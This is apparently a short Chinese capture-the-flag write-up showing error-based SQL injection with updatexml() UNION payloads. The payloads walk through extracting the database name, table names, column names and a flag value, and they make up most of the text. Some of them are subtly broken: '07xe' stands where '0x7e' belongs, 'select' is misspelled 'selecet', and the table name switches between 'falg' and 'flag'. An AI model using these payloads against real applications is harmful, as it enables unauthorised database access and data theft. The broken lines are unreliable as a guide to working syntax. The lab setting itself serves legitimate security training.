报错注入
-
.在输入1后发现没有获取任何有关数据库的信息,只显示查询正确,根据报错注入的回显情况(页面会返回错误信息,或者将语句查询到的不完全的数据返回到页面),猜测为报错注入
-
然后使用updatexml的语法尝试进行报错注入
-1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)
得到库名为sqli -
得出信息,可判断为报错注入,继续查询表名
-1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema=‘sqli’),07xe),1)
-
进一步查询falg的所有的字段名
-1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema=‘sqli’ and table_name=‘falg’),0x7e),1)
-
查询该库该表该行的数据
-1 union select updatexml(1,concat(07xe,(selecet(group_concat(flag))from sqli.flag),0x7e),1)
得出flag